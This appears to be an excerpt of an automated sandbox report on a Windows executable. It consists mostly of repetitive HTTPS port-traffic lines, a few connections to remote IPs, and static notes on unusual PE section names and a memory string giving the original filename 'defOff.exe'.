Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.8:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.8:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.8:49813 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: file.exe, 00000000.00000003.1670540052.0000000005E32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1656045265.0000000005DB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1668910247.0000000005CE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1666419395.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1669928590.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1659146832.0000000005CEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1695602727.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1667813114.0000000005E1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1653247511.0000000005D86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1650496122.0000000005CE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1657179696.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1651647220.0000000005D81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1661924275.0000000005CE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1649329142.0000000005AE2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1668228756.0000000005E1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
